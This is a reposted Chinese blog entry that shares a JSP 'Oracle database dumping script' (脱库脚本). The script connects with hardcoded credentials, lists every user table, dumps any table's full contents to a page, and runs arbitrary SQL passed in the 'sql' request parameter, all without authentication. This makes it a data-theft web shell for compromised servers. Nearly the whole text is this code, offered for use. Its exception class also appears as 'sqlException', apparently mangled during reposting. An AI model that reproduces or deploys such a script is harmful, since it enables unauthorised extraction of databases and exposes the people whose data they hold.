Oracle脱库脚本

前端之家收集整理的这篇文章主要介绍了Oracle脱库脚本前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

虽说十分简陋,但是应对一般的查询操作已经足够了。

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<!DOCTYPE html>
<html>
<head>
    <title>Oracle数据库脱库脚本--N3verL4nd</title>
</head>
<body>
<%!
    /** * 获取结果集的 ColumnLabel 对应的 List * @param rs * @return * @throws sqlException */
    @SuppressWarnings("unchecked")
    private List getColumnLabels(ResultSet rs) throws sqlException {
        ResultSetMetaData MetaData;
        List labels = new ArrayList();
        MetaData = rs.getMetaData();
        for (int i = 0; i < MetaData.getColumnCount(); i++) {
            labels.add(MetaData.getColumnLabel(i + 1));
        }
        return labels;
    }

    /** * 将 ResultSet 转换为 List 并返回 * @param rs * @return * @throws sqlException */
    @SuppressWarnings("unchecked")
    private List resolveResultSet(ResultSet rs) throws sqlException {
        List list = new ArrayList();
        Map map = null;
        List<String> labels = getColumnLabels(rs);
        while (rs.next()) {
            map = new HashMap();
            for (int i = 0; i < labels.size(); i++) {
                String label = labels.get(i);
                map.put(label,rs.getObject(label));
            }
            list.add(map);
        }
        return list;
    }
%>

<%
    try {
        Class.forName("oracle.jdbc.driver.OracleDriver");
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }

    // 需要配置的地方
    //-----------------------------
    String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
    String username = "drcom";
    String password = "drcom";
    //-----------------------------

    Connection conn = null;
    Statement stmt = null;
    ResultSet rs = null;

    String path = request.getScheme() + "://" +
            request.getServerName() + ":" +
            request.getServerPort() +
            request.getContextPath() +
            request.getServletPath();

    try {
        conn = DriverManager.getConnection(url,username,password);
        if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
            String sql = request.getParameter("sql");
            stmt = conn.createStatement();
            rs = stmt.executeQuery(sql);

            List list = resolveResultSet(rs);
            for (int i = 0; i < list.size(); i++) {
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object key = entry.getKey();
                    Object value = entry.getValue();
                    out.println(key.toString().toLowerCase() + ":" + value);
                    out.println("&nbsp;&nbsp;");
                }
                out.println("<br />");
            }

        } else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
            // 输出所有用户表
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select table_name from user_tables");
            out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
            while (rs.next()) {
                out.print("<a href=");
                out.print(path);
                out.print("?table=");
                out.print(rs.getString(1));
                out.print(" target=_blank>");
                out.print(rs.getString(1));
                out.print("</a><br />");
            }
        } else {
            String table = request.getParameter("table");
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select * from " + table);

            List list = resolveResultSet(rs);

            out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录!<br />");

            out.println("<table border=\"1\">");

            if (list.size() != 0) {
                Map map = (Map) list.get(0);
                out.println("<tr>");
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getKey();
                    out.println("<th>" + value + "</th>");
                }
                out.println("</tr>");
            }

            for (int i = 0; i < list.size(); i++) {
                out.println("<tr>");
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getValue();
                    out.println("<td>" + value + "</td>");
                }
                out.println("</tr>");
            }
            out.println("</table>");
        }

    } catch (sqlException e) {
        e.printStackTrace();
    } finally {
        if (rs != null) {
            try {
                rs.close();
            } catch (sqlException e) {
                e.printStackTrace();
            }
        }
        if (stmt != null) {
            try {
                stmt.close();
            } catch (sqlException e) {
                e.printStackTrace();
            }
        }
        if (conn != null) {
            try {
                conn.close();
            } catch (sqlException e) {
                e.printStackTrace();
            }
        }
    }
%>
</body>
</html>
原文链接:/oracle/206876.html

猜你在找的Oracle相关文章